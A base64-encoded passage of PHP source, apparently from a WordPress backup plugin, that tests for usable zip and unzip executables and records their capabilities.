VzdF9maWxlfSciIC4gIiAnIiAuIF9fRklMRV9fIC4gICInIjsKCQkJCQkKCQkJCQkkY29tbWFuZCA9ICggc2VsZjo6T1NfVFlQRV9XSU4gPT09ICR0aGlzLT5nZXRfb3NfdHlwZSgpICkgPyBzdHJfcmVwbGFjZSggJ1wnJywgJyInLCAkY29tbWFuZCApIDogJGNvbW1hbmQ7CgkJCQkJCQkJCQoJCQkJCUBleGVjKCAkY29tbWFuZCwgJGV4ZWNfb3V0cHV0LCAkZXhlY19leGl0X2NvZGUgKTsKCQkJCgkJCQkJLy8gTXVzdCBoYXZlIGJvdGggYSBmaWxlIGFuZCBhIHN1Y2Nlc3MgZXhpdCBjb2RlIHRvIGNvbnNpZGVyIHRoaXMgc3VjY2Vzc2Z1bAoJCQkJCWlmICggQGZpbGVfZXhpc3RzKCAkdGVzdF9maWxlICkgJiYgKCAwID09PSAkZXhlY19leGl0X2NvZGUgKSApIHsKCQkJCgkJCQkJCS8vIFNldCB0aGUgcGFyYW1ldGVyIHRvIGJlIHJlbWVtYmVyZWQgKG5vdGU6IHBhdGggd2l0aG91dCB0cmFpbGluZyBzbGFzaCkKCQkJCQkJJHRoaXMtPl9tZXRob2RfZGV0YWlsc1sgJ3BhcmFtJyBdWyAnemlwJyBdWyAncGF0aCcgXSA9ICRwYXRoOwoJCQkJCQkKCQkJCQkJLy8gUGxhdGZvcm0gaW5kZXBlbmRlbnQgY2FwYWJpbGl0aWVzCgkJCQkJCSR0aGlzLT5fbWV0aG9kX2RldGFpbHNbICdhdHRyJyBdWyAnaXNfemlwcGVyJyBdID0gdHJ1ZTsKCQkJCQkJJHRoaXMtPl9tZXRob2RfZGV0YWlsc1sgJ2F0dHInIF1bICdpc19hcmNoaXZlcicgXSA9IHRydWU7CgkJCQkJCQoJCQkJCQkvLyBQbGF0Zm9ybSBzcGVjaWZpYyBjYXBhYmlsaXRpZXMKCQkJCQkJc3dpdGNoICggJHRoaXMtPmdldF9vc190eXBlKCkgKSB7CgkJCQkJCQljYXNlIHNlbGY6Ok9TX1RZUEVfTklYOgoJCQkJCQkJCSR0aGlzLT5fbWV0aG9kX2RldGFpbHNbICdhdHRyJyBdWyAnaXNfY29tbWVudGVyJyBdID0gdHJ1ZTsKCQkJCQkJCQlicmVhazsKCQkJCQkJCWNhc2Ugc2VsZjo6T1NfVFlQRV9XSU46CgkJCQkJCQkJLy8gTm9uZSBBcHBsaWNhYmxlCgkJCQkJCQkJYnJlYWs7CgkJCQkJCQlkZWZhdWx0OgoJCQkJCQkJCS8vIFRoZXJlIGlzIG5vIGRlZmF1bHQKCQkJCQkJfQoJCQkJCQkKCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnRXhlYyB0ZXN0ICh6aXApIFBBU1NFRC4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQkJCSRyZXN1bHQgPSB0cnVlOwoJCQkJCgkJCQkJCS8vIFRPRE86IENvbnNpZGVyIHBhcnNpbmcgemlwIGZpbGUgdG8gZ2V0IHZlcnNpb24gb2YgemlwIHRoYXQgY3JlYXRlZCBpdC4gVGhpcyBtYXkgc2VlbSBvZGQKCQkJCQkJLy8gYnV0IHByZS12MyB6aXAgaXQncyBub3QgcG9zc2libGUgdG8gcnVuICJ6aXAgLXYiIHRocm91Z2ggZXhlYygpIG9yIGVxdWl2YWxlbnQgYXMgaXQgb25seQoJCQkJCQkvLyBwcm92aWRlcyB0aGUgcmVxdWlyZWQgb3V0cHV0IGlmIGEgdHR5IGlzIGF0dGFjaGVkLCBvdGhlcndpc2UgaXQgY3JlYXRlcyBhIHppcCBmaWxlLiBXZQoJCQkJCQkvLyBtaWdodCBjb25zaWRlciBwYXJzaW5nIHRoZSBjcmVhdGVkIHppcCBmaWxlIGJ1dCBhcyB3ZSBoYXZlIGFscmVhZHkgY3JlYXRlZCBvbmUgaGVyZSB3ZQoJCQkJCQkvLyBtaWdodCBhcyB3ZWxsIHVzZSBpdAoJCQkJCQkKCQkJCQkJLy8gVGhpcyB3aWxsIGJyZWFrIHVzIG91dCBvZiB0aGUgbG9vcAoJCQkJCQkkZm91bmRfemlwID0gdHJ1ZTsKCQkJCQkJCgkJCQkJfSBlbHNlIHsKCQkJCQoJCQkJCQkvLyBEZWFsIHdpdGggdGhlIHBvc3NpYmxlIGZhaWx1cmUgY2F1c2VzCgkJCQkJCWlmICggIUBmaWxlX2V4aXN0cyggJHRlc3RfZmlsZSApICkgewoJCQkJCQkKCQkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ0V4ZWMgdGVzdCAoemlwKSBGQUlMRUQ6IFRlc3QgemlwIGZpbGUgbm90IGZvdW5kLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCQkJCgkJCQkJCX0KCQkJCQkJCgkJCQkJCWlmICggMCAhPT0gJGV4ZWNfZXhpdF9jb2RlICkgewoJCQkJCQkKCQkJCQkJCSRlcnJvcl9zdHJpbmcgPSAkZXhlY19leGl0X2NvZGU7CgkJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdFeGVjIHRlc3QgKHppcCkgRkFJTEVEOiBleGVjIEV4aXQgQ29kZTogJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICRlcnJvcl9zdHJpbmcgKTsKCQkJCQkJCQoJCQkJCQl9CgkJCQkJCQoJCQkJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCQkKCQkJCQl9CgkJCQkJCgkJCQkJLy8gUmVtb3ZlIHRoZSB0ZXN0IHppcCBmaWxlIGlmIGl0IHdhcyBjcmVhdGVkCgkJCQkJaWYgKCBAZmlsZV9leGlzdHMoICR0ZXN0X2ZpbGUgKSApIHsKCQkJCQkKCQkJCQkJaWYgKCAhQHVubGluayggJHRlc3RfZmlsZSApICkgewoJCQkJCgkJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCdFeGVjIHRlc3QgKHppcCkgdW5hYmxlIHRvIGRlbGV0ZSB0ZXN0IGZpbGUgKCVzKScsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICR0ZXN0X2ZpbGUgKSApOwoJCQkJCQoJCQkJCQl9CgkJCQkKCQkJCQl9CgkJCQkJCgkJCQl9CgkJCQkKCQkJCQoJCQkJLy8gSWYgd2UgZGlkbid0IGZpbmQgemlwIGFueXdoZXJlIChvciBtYXliZSBmb3VuZCBpdCBidXQgaXQgZmFpbGVkKSB0aGVuIGxvZyBpdAoJCQkJaWYgKCBmYWxzZSA9PT0gJGZvdW5kX3ppcCApIHsKCQkJCQkKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdFeGVjIHRlc3QgKHppcCkgRkFJTEVEOiBVbmFibGUgdG8gZmluZCB6aXAgZXhlY3V0YWJsZSBvbiBhbnkgc3BlY2lmaWVkIHBhdGguJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJCQkKCQkJCX0KCQkJCQoJCQkJLy8gUmVtZW1iZXIgemlwIHJlc3VsdCBhbmQgcmVzZXQgZm9yIHVuemlwIHRlc3QKCQkJCSRwZW5kaW5nX3Jlc3VsdCA9ICRyZXN1bHQ7CgkJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCQkKCQkJCS8vIFNlZSBpZiB3ZSBjYW4gZGV0ZXJtaW5lIHppcCB2ZXJzaW9uIGFuZCBwb3NzaWJseSBhdmFpbGFibGUgb3B0aW9ucy4gVGhpcyBjYW4gaGVscCB1cwoJCQkJLy8gZGV0ZXJtaW5lIGhvdyB0byBleGVjdXRlIG9wZXJhdGlvbnMgc3VjaCBhcyBjcmVhdGluZyBhIHppcCBmaWxlCgkJCQlpZiAoIHRydWUgPT09ICRmb3VuZF96aXAgKSB7CgkJCQkJCgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnQ2hlY2tpbmcgemlwIHZlcnNpb24uLi4nICk7CgoJCQkJCSR0aGlzLT5zZXRfemlwX3ZlcnNpb24oKTsKCQkJCQkKCQkJCQkkdmVyc2lvbiA9ICR0aGlzLT5nZXRfemlwX3ZlcnNpb24oKTsKCQkJCQlpZiAoIHRydWUgPT09IGlzX2FycmF5KCAkdmVyc2lvbiApICkgewoJCQkKCQkJCQkJKCAoIDIgPT0gJHZlcnNpb25bICdtYWpvcicgXSApICYmICggMCA9PSAkdmVyc2lvblsgJ21pbm9yJyBdICkgKSA/ICR2ZXJzaW9uWyAnbWlub3InIF0gPSAnWCcgOiB0cnVlIDsKCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXyggJ0ZvdW5kIHppcCB2ZXJzaW9uOiAlMSRzLiUyJHMnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJHZlcnNpb25bICdtYWpvcicgXSwgJHZlcnNpb25bICdtaW5vcicgXSApICk7CgkJCQkKCQkJCQl9IGVsc2UgewoJCQkKCQkJCQkJJHZlcnNpb24gPSBhcnJheSggIm1ham9yIiA9PiAiWCIsICJtaW5vciIgPT4gIlkiICk7CgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oICdGb3VuZCB6aXAgdmVyc2lvbjogJTEkcy4lMiRzJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICR2ZXJzaW9uWyAnbWFqb3InIF0sICR2ZXJzaW9uWyAnbWlub3InIF0gKSApOwoKCQkJCQl9CgoJCQkJfQoJCQkJCgkJCQkvLyBSZXNldCB0aGUgY2FuZGlkYXRlIHBhdGhzIGZvciBhIGZ1bGwgc2VhcmNoIGZvciB1bnppcAoJCQkJJGNhbmRpZGF0ZV9wYXRocyA9ICR0aGlzLT5fZXhlY3V0YWJsZV9wYXRoczsKCQkJCQkJICAKCQkJCS8vIFJlc2V0IHRoZSBzYWZldHkgdmFsdWUgaW4gY2FzZQoJCQkJJGV4ZWNfZXhpdF9jb2RlID0gMTI3OwoJCQkJCgkJCQkvLyBOZXcgc2VhcmNoCgkJCQkkZm91bmRfemlwID0gZmFsc2U7CgkJCQkKCQkJCS8vIFVzaW5nIGEgdGVzdCBmaWxlCgkJCQkkdGVzdF9maWxlID0gZGlybmFtZSggX19GSUxFX18gKSAuIHNlbGY6OlpJUF9URVNUX0ZJTEU7CgkJCQkKCQkJCS8vIEl0IGhhcyB0byBleGlzdCBhbmQgYmUgcmVhZGFibGUgb3RlaHJ3aXNlIHdlIGp1c3QgaGF2ZSB0byBiYWlsIG9uIHRlc3RpbmcgZm9yIHVuemlwCgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCAnRXhlYyB0ZXN0ICh1bnppcCkgY2hlY2tpbmcgdGVzdCBmaWxlIHJlYWRhYmxlOiAlMSRzJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICR0ZXN0X2ZpbGUgKSApOwoJCQkJaWYgKCBpc19yZWFkYWJsZSggJHRlc3RfZmlsZSApICkgewoJCQkJCgkJCQkJLy8gT25seSBwcm9jZWVkIGlmIHRoZSBmaWxlIGxvb2tzIGFzIGV4cGVjdGVkCgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXyggJ0V4ZWMgdGVzdCAodW56aXApIGNoZWNraW5nIHRlc3QgZmlsZSBpbnRhY3Q6ICUxJHMnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgc2VsZjo6WklQX1RFU1RfRklMRV9TSUcgKSApOwoJCQkJCWlmICggc2VsZjo6WklQX1RFU1RfRklMRV9TSUcgPT09IG1kNV9maWxlKCAkdGVzdF9maWxlICkgKSB7CgkJCQkKCQkJCQkJLy8gV2UgYXJlIHNlYXJjaGluZyBmb3IgdW56aXAgdXNpbmcgdGhlIGxpc3Qgb2YgcG9zc2libGUgcGF0aHMKCQkJCQkJd2hpbGUgKCAoIGZhbHNlID09PSAkZm91bmRfemlwICkgJiYgKCAhZW1wdHkoICRjYW5kaWRhdGVfcGF0aHMgKSApICkgewoJCQkJCgkJCQkJCQkvLyBNYWtlIHN1cmUgaXQgaXMgY2xlYW4gb2YgbGVhZGluZy90cmFpbGluZyB3aGl0ZXNwYWNlCgkJCQkJCQkkcGF0aCA9IHRyaW0oIGFycmF5X3NoaWZ0KCAkY2FuZGlkYXRlX3BhdGhzICkgKTsKCQkJCQkKCQkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oICdFeGVjIHRlc3QgKHVuemlwKSB0cnlpbmcgZXhlY3V0YWJsZSBwYXRoOicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnIGAnIC4gJHBhdGggLiAnYC4nICk7CgoJCQkJCQkJJGNvbW1hbmQgPSAkdGhpcy0+c2xhc2hpZnkoICRwYXRoICkgLiAndW56aXAgLXF0JyAuICIgJ3skdGVzdF9maWxlfSciIC4gIiAndGVzdC50eHQnIjsKCQkJCQkJCQkJCgkJCQkJCQkkY29tbWFuZCA9ICggc2VsZjo6T1NfVFlQRV9XSU4gPT09ICR0aGlzLT5nZXRfb3NfdHlwZSgpICkgPyBzdHJfcmVwbGFjZSggJ1wnJywgJyInLCAkY29tbWFuZCApIDogJGNvbW1hbmQ7CgkJCQkJCgkJCQkJCQlAZXhlYyggJGNvbW1hbmQsICRleGVjX291dHB1dCwgJGV4ZWNfZXhpdF9jb2RlICk7CgkJCQkJCgkJCQkJCQlpZiAoICRleGVjX2V4aXRfY29kZSA9PT0gMCApIHsKCQkJCQkJCQoJCQkJCQkJCS8vIFNldCB0aGUgcGFyYW1ldGVyIHRvIGJlIHJlbWVtYmVyZWQgKG5vdGU6IHBhdGggd2l0aG91dCB0cmFpbGluZyBzbGFzaCkKCQkJCQkJCQkkdGhpcy0+X21ldGhvZF9kZXRhaWxzWyAncGFyYW0nIF1bICd1bnppcCcgXVsgJ3BhdGgnIF0gPSAkcGF0aDsKCQkJCQkJCgkJCQkJCQkJLy8gUGxhdGZvcm0gaW5kZXBlbmRlbnQgY2FwYWJpbGl0aWVzCgkJCQkJCQkJJHRoaXMtPl9tZXRob2RfZGV0YWlsc1sgJ2F0dHInIF1bICdpc191bnppcHBlcicgXSA9IHRydWU7CgkJCQkJCQkJJHRoaXMtPl9tZXRob2RfZGV0YWlsc1sgJ2F0dHInIF1bICdpc19jaGVja2VyJyBdID0gdHJ1ZTsKCQkJCQkJCQkkdGhpcy0+X21ldGhvZF9kZXRhaWxzWyAnYXR0cicgXVsgJ2lzX3VuYXJjaGl2ZXInIF0gPSB0cnVlOwoJCQkJCQkJCSR0aGlzLT5fbWV0aG9kX2RldGFpbHNbICdhdHRyJyBdWyAnaXNfbGlzdGVyJyBdID0gdHJ1ZTsKCQkJCQkJCQkkdGhpcy0+X21ldGhvZF9kZXRhaWxzWyAnYXR0cicgXVsgJ2lzX2V4dHJhY3RvcicgXSA9IHRydWU7CgkJCQkJCQoJCQkJCQkJCS8vIFBsYXRmb3JtIHNwZWNpZmljIGNhcGFiaWxpdGllcwoJCQkJCQkJCXN3aXRjaCAoICR0aGlzLT5nZXRfb3NfdHlwZSgpICkgewoJCQkJCQkJCQljYXNlIHNlbGY6Ok9TX1RZUEVfTklYOgoJCQkJCQkJCQoJCQkJCQkJCQkJLy8gVGhpcyBpcyBzcGVjaWFsIC0gd2UgbXVzdCBoYXZlIHppcCBhbHNvIHNvIHRoaXMgd2lsbCBvbmx5IGVuZCB1cCB0cnVlIGlmIHdlIHByZXZpb3VzbHkgZm91bmQgemlwCgkJCQkJCQkJCQkvLyBhbmQgc3BlY3VsYXRpdmVseSBzZXQgdGhpcyBhdHRyaWJ1dGUgdG8gYmUgdHJ1ZS4gQWxzbyB3ZSBuZWVkIGZvciBleGVjX2RpciB0byBub3QgYmUgYWN0aXZlIC0gaWYKCQkJCQkJCQkJCS8vIGl0IGlzIHRoZSBjb21tYW5kIGxpbmUgaXMgZXNjYXBlZCBhbmQgdGhhdCBpcyBpbmNvbXBhdGlibGUgd2l0aCB0aGUgcGlwaW5nIHdlIGhhdmUgdG8gdXNlIHdoZW4KCQkJCQkJCQkJCS8vIHNldHRpbmcgYSBjb21tZW50LiBBbHNvIHdlIG5lZWQgdGhlIGVzY2FwZXNoZWxsYXJnIGZ1bmN0aW9uIHRvIGJlIGF2YWlsYWJsZSBhbmQgdGhhdCB3YXMgY2hlY2tlZAoJCQkJCQkJCQkJLy8gd2hlbiBkZXBlbmRlbmNpZXMgd2VyZSBjaGVja2VkCgkJCQkJCQkJCQkkdGhpcy0+X21ldGhvZF9kZXRhaWxzWyAnYXR0cicgXVsgJ2lzX2NvbW1lbnRlcicgXSA9ICR0aGlzLT5fbWV0aG9kX2RldGFpbHNbICdhdHRyJyBdWyAnaXNfY29tbWVudGVyJyBdICYmIHRydWUgJiYgISR0aGlzLT5nZXRfZXhlY19kaXJfZmxhZygpICYmIHNlbGY6OiRfYWxsb3dfaXNfY29tbWVudGVyOwoJCQkJCQkJCQkJYnJlYWs7CgkJCQkJCQkJCWNhc2Ugc2VsZjo6T1NfVFlQRV9XSU46CgkJCQkJCQkJCQkvLyBOb25lIEFwcGxpY2FibGUKCQkJCQkJCQkJCWJyZWFrOwoJCQkJCQkJCQlkZWZhdWx0OgoJCQkJCQkJCQkJLy8gVGhlcmUgaXMgbm8gZGVmYXVsdAoJCQkJCQkJCX0KCQkJCQkJCgkJCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnRXhlYyB0ZXN0ICh1bnppcCkgUEFTU0VELicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCQkJCQkkcmVzdWx0ID0gdHJ1ZTsKCQkJCQoJCQkJCQkJCS8vIFRoaXMgd2lsbCBicmVhayB1cyBvdXQgb2YgdGhlIGxvb3AKCQkJCQkJCQkkZm91bmRfemlwID0gdHJ1ZTsKCQkJCQkJCgkJCQkJCQl9IGVsc2UgewoJCQkJCgkJCQkJCQkJJGVycm9yX3N0cmluZyA9ICRleGVjX2V4aXRfY29kZTsKCQkJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdFeGVjIHRlc3QgKHVuemlwKSBGQUlMRUQ6IFRlc3QgdW56aXAgZmlsZSB0ZXN0IGZhaWxlZC4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnRXhlYyB0ZXN0ICh1bnppcCkgRkFJTEVEOiBleGVjIEV4aXQgQ29kZTogJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICRlcnJvcl9zdHJpbmcgKTsKCQkJCQkJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCQkKCQkJCQkJCX0KCQkJCQkKCQkJCQkJfQoJCQkJCQoJCQkJCX0gZWxzZSB7CgkJCQkKCQkJCQkJLy8gVGhlIHRlc3QgZmlsZSBsb29rZWQgY29ycnVwdGVkIHNvIHdhcm4gYW5kIGJhaWwgb3V0CgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oJ0V4ZWMgdGVzdCAodW56aXApIEZBSUxFRDogVGVzdCBmaWxlIGFwcGVhcnMgdG8gYmUgY29ycnVwdGVkOiAlMSRzJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgbWQ1X2ZpbGUoICR0ZXN0X2ZpbGUgKSApICk7CgoJCQkJCX0KCQkJCQoJCQkJfSBlbHNlIHsKCQkJCQoJCQkJCS8vIFRoZSB0ZXN0IGZpbGUgZG9lc24ndCBzZWVtIHRvIGV4aXN0IG9yIGJlIHJlYWRhYmxlIHNvIHdhcm4gYW5kIGJhaWwgb3V0CgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnRXhlYyB0ZXN0ICh1bnppcCkgRkFJTEVEOiBUZXN0IGZpbGUgYXBwZWFycyB0byBlaXRoZXIgbm90IGV4aXN0IG9yIG5vdCBiZSByZWFkYWJsZS4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQkKCQkJCX0KCQkJCgkJCQkvLyBJZiB3ZSBkaWRuJ3QgZmluZCB1bnppcCBhbnl3aGVyZSAob3IgbWF5YmUgZm91bmQgaXQgYnV0IGl0IGZhaWxlZCkgdGhlbiBsb2cgaXQKCQkJCWlmICggZmFsc2UgPT09ICRmb3VuZF96aXAgKSB7CgkJCQkJCgkJCQkJLy8gV2Ugc3BlY3VsYXRpdmVseSBzZXQgdGhpcyB0cnVlIHdoZW4gd2UgZm91bmQgemlwIGJ1dCB3ZSBuZWVkIGJvdGggemlwIGFuZCB1bnppcCBzbyBzZXQgaWYgZmFsc2UKCQkJCQkkdGhpcy0+X21ldGhvZF9kZXRhaWxzWyAnYXR0cicgXVsgJ2lzX2NvbW1lbnRlcicgXSA9IGZhbHNlOwoKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdFeGVjIHRlc3QgKHVuemlwKSBGQUlMRUQ6IFVuYWJsZSB0byBmaW5kIHVuemlwIGV4ZWN1dGFibGUgb24gYW55IHNwZWNpZmllZCBwYXRoLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCQkJCgkJCQl9IGVsc2UgewoJCQkJCgkJCQkJLy8gU2VlIGlmIHdlIGNhbiBkZXRlcm1pbmUgdW56aXAgdmVyc2lvbiBhbmQgcG9zc2libHkgYXZhaWxhYmxlIG9wdGlvbnMuIFRoaXMgY2FuIGhlbHAgdXMKCQkJCQkvLyBkZXRlcm1pbmUgaG93IHRvIGV4ZWN1dGUgb3BlcmF0aW9ucyBzdWNoIGFzIHVuemlwcGluZyBhIGZpbGUKCQkJCQkKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdDaGVja2luZyB1bnppcCB2ZXJzaW9uLi4uJyApOwoKCQkJCQkkdGhpcy0+c2V0X3VuemlwX3ZlcnNpb24oKTsKCQkJCQoJCQkJCSR2ZXJzaW9uID0gJHRoaXMtPmdldF91bnppcF92ZXJzaW9uKCk7CgkJCQkJaWYgKCB0cnVlID09PSBpc19hcnJheSggJHZlcnNpb24gKSApIHsKCQkJCgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oICdGb3VuZCB1bnppcCB2ZXJzaW9uOiAlMSRzLiUyJHMnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJHZlcnNpb25bICdtYWpvcicgXSwgJHZlcnNpb25bICdtaW5vcicgXSApICk7CgkJCQkKCQkJCQl9IGVsc2UgewoJCQkKCQkJCQkJJHZlcnNpb24gPSBhcnJheSggIm1ham9yIiA9PiAiWCIsICJtaW5vciIgPT4gIlkiICk7CgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oICdGb3VuZCB1bnppcCB2ZXJzaW9uOiAlMSRzLiUyJHMnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJHZlcnNpb25bICdtYWpvcicgXSwgJHZlcnNpb25bICdtaW5vcicgXSApICk7CgoJCQkJCX0KCgkJCQl9CgkJCQkKCQkJfSBlbHNlIHsKCQkJCgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdFeGVjIHRlc3QgKHppcC91bnppcCkgRkFJTEVEOiBPbmUgb3IgbW9yZSByZXF1aXJlZCBmdW5jdGlvbiBkbyBub3QgZXhpc3QuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJJHJlc3VsdCA9IGZhbHNlOwoJCSAgCgkJICAJfQoJCSAgCQoJCSAgCS8vIElmIHdlIGZvdW5kIGJvdGggemlwIGFuZCB1bnppcCB0aGVuIGNvbXBhcmUgdGhlIHBhdGhzIGFuZCBpZiB0aGUgc2FtZSB0aGVuIHNldCB0aGUgY29tbW9uIHBhdGgKCQkgIAlpZiAoICRwZW5kaW5nX3Jlc3VsdCAmJiAkcmVzdWx0ICkgewoJCSAgCQoJCSAgCQlpZiAoICR0aGlzLT5fbWV0aG9kX2RldGFpbHNbICdwYXJhbScgXVsgJ3ppcCcgXVsgJ3BhdGgnIF0gPT09ICR0aGlzLT5fbWV0aG9kX2RldGFpbHNbICdwYXJhbScgXVsgJ3VuemlwJyBdWyAncGF0aCcgXSApIHsKCQkgIAkJCgkJICAJCQkkdGhpcy0+X21ldGhvZF9kZXRhaWxzWyAncGFyYW0nIF1bICdwYXRoJyBdID0gJHRoaXMtPl9tZXRob2RfZGV0YWlsc1sgJ3BhcmFtJyBdWyAnemlwJyBdWyAncGF0aCcgXTsKCQkgIAkJCQoJCSAgCQl9CgkJICAJCQoJCSAgCX0KCQkgIAkKCQkgIAkvLyBPdXIgcmVzdWx0IHdpbGwgYmUgdHJ1ZSBpZiB3ZSBmb3VuZCBlaXRoZXIgb3IgYm90aCBvZiB6aXAgYW5kIHVuemlwCgkJICAJLy8gVGhlIG1ldGhvZCBhdHRyaWJ1dGVzIHdpbGwgdGVsbCB3aGljaCBpcyBhdmFpbGFibGUKCQkgIAkkcmVzdWx0ID0gKCAkcGVuZGluZ19yZXN1bHQgfHwgJHJlc3VsdCApOwoJCSAgCQoJCSAgCXJldHVybiAkcmVzdWx0OwoJCSAgCQoJCX0KCQkKCQkvKioKCQkgKglhZGRfdmlydHVhbF9maWxlKCkKCQkgKgkKCQkgKglBIGZ1bmN0aW9uIHRoYXQgYWxsb3dzIGEgdmlydHVhbCBmaWxlIHRvIGJlIGFkZGVkIHRvIGEgemlwIGFyY2hpdmUKCQkgKgkKCQkgKglUaGUgdmlydHVhbCBmaWxlIGRlc2NyaXB0b3IgaXMgYW4gYXJyYXkgb2YgZGVzY3JpcHRvciBhcnJheShzKSB0aGF0IHByb3ZpZGUgYSBmaWxlbmFtZQoJCSAqCWZvciB0aGUgdmlydHVhbCBmaWxlIHRvIGJlIGFkZGVkIChjYW4gaW5jbHVkZSBwYXRoIHByZWZpeCkgYW5kIGEgc3RyaW5nIHRoYXQgY29udGFpbnMgdGhlCgkJICoJZmlsZSBjb250ZW50IChjYW4gYmUgZW1wdHkgYnV0IG11c3QgYmUgcHJlc2VudCkuIEZvciBleGFtcGxlOgoJCSAqCWFycmF5KCBhcnJheSggJ2ZpbGVuYW1lJyA9PiAnc29tZWZpbGUudHh0JywgJ2NvbnRlbnQnID0+ICdBIFRleHQgU3RyaW5nJyApICkKCQkgKglOb3RlIHRoYXQgdGhlIGFjdHVhbCB6aXAgZmlsZSB0byB3aGljaCB0aGUgZmlsZSBpcyBhZGRlZCBpcyBmb3JtZWQgZnJvbSB0aGUgZmlsZW5hZW0gZnJvbQoJCSAqCXRoZSAkemlwIHBhcmFtZXRlciBhcHBhZW5kZWQgdG8gdGhlICR0ZW1wZGlyIGRpcmVjdG9yeSBwYXRoLiBUaGlzIGlzIHNsaWdodGx5IGNsdW5reSBhbmQKCQkgKgltYXkgYmUgY2hhbmdlZCBhdCBzb21lIGxhdGVyIGRhdGUuCgkJICoJCgkJICoJQHBhcmFtCQlzdHJpbmcJJHppcAkJCQkJCUZ1bGwgcGF0aCAmIGZpbGVuYW1lIG9mIFpJUCBBcmNoaXZlIGZpbGUgdG8gYWRkIGZpbGUgdG8KCQkgKglAcGFyYW0JCWFycmF5CSR2aXJ0dWFsX2ZpbGVfZGVzY3JpcHRvcglGdWxsIGRlc2NyaXB0b3Igb2YgZmlsZShzKSB0byBhZGQgdG8gWklQIEFyY2hpdmUgZmlsZQoJCSAqCUBwYXJhbQkJc3RyaW5nCSR0ZW1wZGlyCQkJCQlGdWxsIHBhdGggb2YgZGlyZWN0b3J5IGZvciB0ZW1wb3JhcnkgdXNhZ2UKCQkgKglAcmV0dXJuCQlib29sCQkJCQkJCQlUcnVlIGlmIHRoZSBhZGRpdGlvbiB3YXMgc3VjY2Vzc2Z1bCwgZmFsc2Ugb3RoZXJ3aXNlCgkJICoKCQkgKi8KCQlwdWJsaWMgZnVuY3Rpb24gYWRkX3ZpcnR1YWxfZmlsZSggJHppcCwgJHZpcnR1YWxfZmlsZV9kZXNjcmlwdG9yLCAkdGVtcGRpciApIHsKCQkJCQoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdUaGUgJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICR0aGlzLT5nZXRfbWV0aG9kX3RhZygpIC4gX18oJyBtZXRob2QgaXMgbm90IGN1cnJlbnRseSBzdXBwb3J0ZWQgZm9yIGJhY2t1cC4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCXJldHVybiBmYWxzZTsKCQkKCQl9CgkJCgkJLyoqCgkJICoJY3JlYXRlKCkKCQkgKgkKCQkgKglBIGZ1bmN0aW9uIHRoYXQgY3JlYXRlcyBhbiBhcmNoaX